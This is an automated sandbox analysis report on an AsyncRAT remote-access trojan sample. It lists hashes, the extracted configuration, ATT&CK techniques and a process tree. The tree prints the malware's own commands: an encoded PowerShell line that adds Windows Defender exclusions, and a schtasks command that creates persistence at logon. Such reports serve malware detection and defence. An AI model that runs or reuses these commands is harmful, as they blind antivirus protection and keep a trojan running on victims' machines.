asyncrat | a2bcd0666901803cb37a0247a2a46b9e71b10969805b9154bfd07a46bce369b9

General

Target

PEInstaller.exe
Size

54KB
MD5

e9dd08c82ee9543ed88a2df140be3162
SHA1

6950038c06707e4c6e4313bb59c30deae6f93ee4
SHA256

a2bcd0666901803cb37a0247a2a46b9e71b10969805b9154bfd07a46bce369b9
SHA512

078352b36ea8595f5ad293d7b04cd7d5b61bccfa11ddd83a10c6f41946815000398b7e2be1257b946eb75ceb9055c20a6975bbb577eb3d7a2407de4028bd8708
SSDEEP

1536:kpppNJkBOQEZcYx3dup+FFc2PlG1tMroSa5VghzsG:kzpkIQERMp+Tc2PlG12e

Score

10^/10

asyncrat default defense_evasion discovery rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

C2

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

127.0.0.1:2009

Mutex

jc1XWfeoz50P

Attributes

delay
10
install
true
install_file
executor.exe
install_folder
%Temp%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x000500000002697a-4.dat	family_asyncrat

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2123103809-19148277-2527443841-1000\Control Panel\International\Geo\Nation	PEInstaller.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2123103809-19148277-2527443841-1000\Control Panel\International\Geo\Nation	PEInstaller.exe

Executes dropped EXE 2 IoCs

pid	Process
3404	PEInstaller.exe
3900	executor.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PEInstaller.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	executor.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PEInstaller.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2224	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2412	schtasks.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1268	powershell.exe
5920	powershell.exe
1268	powershell.exe
5920	powershell.exe
3404	PEInstaller.exe
3404	PEInstaller.exe
3404	PEInstaller.exe
3404	PEInstaller.exe
3404	PEInstaller.exe
3404	PEInstaller.exe
3404	PEInstaller.exe
3404	PEInstaller.exe
3404	PEInstaller.exe
3404	PEInstaller.exe
3404	PEInstaller.exe
3404	PEInstaller.exe
3404	PEInstaller.exe
3404	PEInstaller.exe
3404	PEInstaller.exe
3404	PEInstaller.exe
3404	PEInstaller.exe
3404	PEInstaller.exe
3404	PEInstaller.exe
3404	PEInstaller.exe
3404	PEInstaller.exe

Suspicious use of AdjustPrivilegeToken 26 IoCs

description	pid	Process
Token: SeDebugPrivilege	5920	powershell.exe
Token: SeDebugPrivilege	1268	powershell.exe
Token: SeIncreaseQuotaPrivilege	5920	powershell.exe
Token: SeSecurityPrivilege	5920	powershell.exe
Token: SeTakeOwnershipPrivilege	5920	powershell.exe
Token: SeLoadDriverPrivilege	5920	powershell.exe
Token: SeSystemProfilePrivilege	5920	powershell.exe
Token: SeSystemtimePrivilege	5920	powershell.exe
Token: SeProfSingleProcessPrivilege	5920	powershell.exe
Token: SeIncBasePriorityPrivilege	5920	powershell.exe
Token: SeCreatePagefilePrivilege	5920	powershell.exe
Token: SeBackupPrivilege	5920	powershell.exe
Token: SeRestorePrivilege	5920	powershell.exe
Token: SeShutdownPrivilege	5920	powershell.exe
Token: SeDebugPrivilege	5920	powershell.exe
Token: SeSystemEnvironmentPrivilege	5920	powershell.exe
Token: SeRemoteShutdownPrivilege	5920	powershell.exe
Token: SeUndockPrivilege	5920	powershell.exe
Token: SeManageVolumePrivilege	5920	powershell.exe
Token: 33	5920	powershell.exe
Token: 34	5920	powershell.exe
Token: 35	5920	powershell.exe
Token: 36	5920	powershell.exe
Token: SeDebugPrivilege	3404	PEInstaller.exe
Token: SeDebugPrivilege	3900	executor.exe
Token: SeDebugPrivilege	3900	executor.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3052 wrote to memory of 1268	3052	PEInstaller.exe	83
PID 3052 wrote to memory of 1268	3052	PEInstaller.exe	83
PID 3052 wrote to memory of 1268	3052	PEInstaller.exe	83
PID 3052 wrote to memory of 5920	3052	PEInstaller.exe	85
PID 3052 wrote to memory of 5920	3052	PEInstaller.exe	85
PID 3052 wrote to memory of 5920	3052	PEInstaller.exe	85
PID 3052 wrote to memory of 3404	3052	PEInstaller.exe	87
PID 3052 wrote to memory of 3404	3052	PEInstaller.exe	87
PID 3052 wrote to memory of 3404	3052	PEInstaller.exe	87
PID 3404 wrote to memory of 4888	3404	PEInstaller.exe	95
PID 3404 wrote to memory of 4888	3404	PEInstaller.exe	95
PID 3404 wrote to memory of 4888	3404	PEInstaller.exe	95
PID 3404 wrote to memory of 3396	3404	PEInstaller.exe	96
PID 3404 wrote to memory of 3396	3404	PEInstaller.exe	96
PID 3404 wrote to memory of 3396	3404	PEInstaller.exe	96
PID 3396 wrote to memory of 2224	3396	cmd.exe	99
PID 3396 wrote to memory of 2224	3396	cmd.exe	99
PID 3396 wrote to memory of 2224	3396	cmd.exe	99
PID 4888 wrote to memory of 2412	4888	cmd.exe	100
PID 4888 wrote to memory of 2412	4888	cmd.exe	100
PID 4888 wrote to memory of 2412	4888	cmd.exe	100
PID 3396 wrote to memory of 3900	3396	cmd.exe	102
PID 3396 wrote to memory of 3900	3396	cmd.exe	102
PID 3396 wrote to memory of 3900	3396	cmd.exe	102

C:\Users\Admin\AppData\Local\Temp\PEInstaller.exe
"C:\Users\Admin\AppData\Local\Temp\PEInstaller.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3052
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGMAcQBsACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AZABkACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVABoAGUAcgBlACAAdwBhAHMAIABhAG4AIABlAHIAcgBvAHIAIABlAHgAZQBjAHUAdABpAG4AZwAgAHQAaABpAHMAIABwAHIAbwBnAHIAYQBtAC4AIABDAG8AbgB0AGEAYwB0ACAAdABoAGUAIABhAHUAdABoAG8AcgAgAGYAbwByACAAbQBvAHIAZQAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgAuACcALAAnACcALAAnAE8ASwAnACwAJwBFAHIAcgBvAHIAJwApADwAIwBrAHkAagAjAD4A"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1268
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAdQBkACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHkAeQByACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAbAB1ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAZgBqACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5920
- C:\Users\Admin\AppData\Roaming\PEInstaller.exe
  "C:\Users\Admin\AppData\Roaming\PEInstaller.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3404
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "executor" /tr '"C:\Users\Admin\AppData\Local\Temp\executor.exe"' & exit
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4888
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "executor" /tr '"C:\Users\Admin\AppData\Local\Temp\executor.exe"'
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2412
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA095.tmp.bat""
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3396
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 3
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:2224
  - - C:\Users\Admin\AppData\Local\Temp\executor.exe
      "C:\Users\Admin\AppData\Local\Temp\executor.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3900

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
f9349064c7c8f8467cc12d78a462e5f9

SHA1
5e1d27fc64751cd8c0e9448ee47741da588b3484

SHA256
883481fe331cb89fb6061e76b43acd4dd638c16f499b10088b261036c6d0547b

SHA512
3229668491b5e4068e743b31f2896b30b1842faf96aff09fad01b08771c2f11eb8d8f02a3b76e31f0d6ad650c2894c5ac1822204e132c03d9c2b8df6ca4cd7cf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
568e8f3566ae46b99d9e56e99fa3bf9c

SHA1
87bc231a9479a79f2345831b5a7364832dc77efd

SHA256
042fa3e39b85f74ca42221eae3a9a06d458988774921773a073c1c59f047176a

SHA512
b51c34b84ff395b9121867da69e5a544b9fca2361cf0c2beac3553791640177e167ff59bc56271578cc03e0f194aa441e936b048c4940158647deb49a73ada32

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uqiezkan.cku.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpA095.tmp.bat

Filesize
155B

MD5
3dfc21a09a08ee7621088ea850073dd2

SHA1
9730bdcb03da024d0e436d2eb38f2c865f886c72

SHA256
b9a6342786830c2bda04ea08992d8bf1b09a684421cccabca8d8d52e83bcc243

SHA512
cd3bf919c749bef09a6431138519452c23c81c170a6a9e519763aebfbac569f61cfebb55f753d5fa3204f69f2c1336fae479c6601708876fd3e00d450dde2567

Download Submit
C:\Users\Admin\AppData\Roaming\PEInstaller.exe

Filesize
48KB

MD5
a96ef57452d73871dc1045b96fddcf96

SHA1
7a9b28306b0fc32d4281b756be5bc91f53234696

SHA256
2fd4684b115a4b607493596b7fba4d54ddc7d97aec1852fbd60d449f353c2902

SHA512
14db2977907baa98fe81f66fc0b44d360bee92d8b5e53527021fd9ef5f182e3aaa30e5e05ef95b0eac3d09b21074e89dee42c59d8a23b91a3dfa0c4871c3cd8e

Download Submit
memory/1268-63-0x0000000007060000-0x00000000070F2000-memory.dmp

Filesize
584KB

Download
memory/1268-35-0x0000000005710000-0x0000000005A67000-memory.dmp

Filesize
3.3MB

Download
memory/1268-17-0x0000000073510000-0x0000000073CC1000-memory.dmp

Filesize
7.7MB

Download
memory/1268-20-0x0000000073510000-0x0000000073CC1000-memory.dmp

Filesize
7.7MB

Download
memory/1268-16-0x0000000002280000-0x00000000022B6000-memory.dmp

Filesize
216KB

Download
memory/1268-73-0x0000000073510000-0x0000000073CC1000-memory.dmp

Filesize
7.7MB

Download
memory/1268-25-0x0000000073510000-0x0000000073CC1000-memory.dmp

Filesize
7.7MB

Download
memory/1268-72-0x0000000073510000-0x0000000073CC1000-memory.dmp

Filesize
7.7MB

Download
memory/1268-48-0x0000000006190000-0x00000000061AA000-memory.dmp

Filesize
104KB

Download
memory/1268-62-0x0000000007EA0000-0x0000000008446000-memory.dmp

Filesize
5.6MB

Download
memory/1268-36-0x0000000005C40000-0x0000000005C5E000-memory.dmp

Filesize
120KB

Download
memory/1268-37-0x0000000005C80000-0x0000000005CCC000-memory.dmp

Filesize
304KB

Download
memory/1268-47-0x0000000007270000-0x00000000078EA000-memory.dmp

Filesize
6.5MB

Download
memory/3404-15-0x00000000008D0000-0x00000000008E2000-memory.dmp

Filesize
72KB

Download
memory/3404-74-0x000000007351E000-0x000000007351F000-memory.dmp

Filesize
4KB

Download
memory/3404-75-0x00000000055E0000-0x000000000567C000-memory.dmp

Filesize
624KB

Download
memory/3404-14-0x000000007351E000-0x000000007351F000-memory.dmp

Filesize
4KB

Download
memory/5920-50-0x0000000070AF0000-0x0000000070B3C000-memory.dmp

Filesize
304KB

Download
memory/5920-61-0x0000000007770000-0x0000000007813000-memory.dmp

Filesize
652KB

Download
memory/5920-49-0x0000000007500000-0x0000000007532000-memory.dmp

Filesize
200KB

Download
memory/5920-64-0x0000000007940000-0x000000000794A000-memory.dmp

Filesize
40KB

Download
memory/5920-65-0x0000000007B40000-0x0000000007BD6000-memory.dmp

Filesize
600KB

Download
memory/5920-68-0x0000000073510000-0x0000000073CC1000-memory.dmp

Filesize
7.7MB

Download
memory/5920-60-0x0000000007740000-0x000000000775E000-memory.dmp

Filesize
120KB

Download
memory/5920-18-0x0000000073510000-0x0000000073CC1000-memory.dmp

Filesize
7.7MB

Download
memory/5920-22-0x0000000005520000-0x0000000005542000-memory.dmp

Filesize
136KB

Download
memory/5920-23-0x00000000056C0000-0x0000000005726000-memory.dmp

Filesize
408KB

Download
memory/5920-24-0x0000000005730000-0x0000000005796000-memory.dmp

Filesize
408KB

Download
memory/5920-21-0x0000000073510000-0x0000000073CC1000-memory.dmp

Filesize
7.7MB

Download
memory/5920-19-0x00000000057F0000-0x0000000005EBA000-memory.dmp

Filesize
6.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads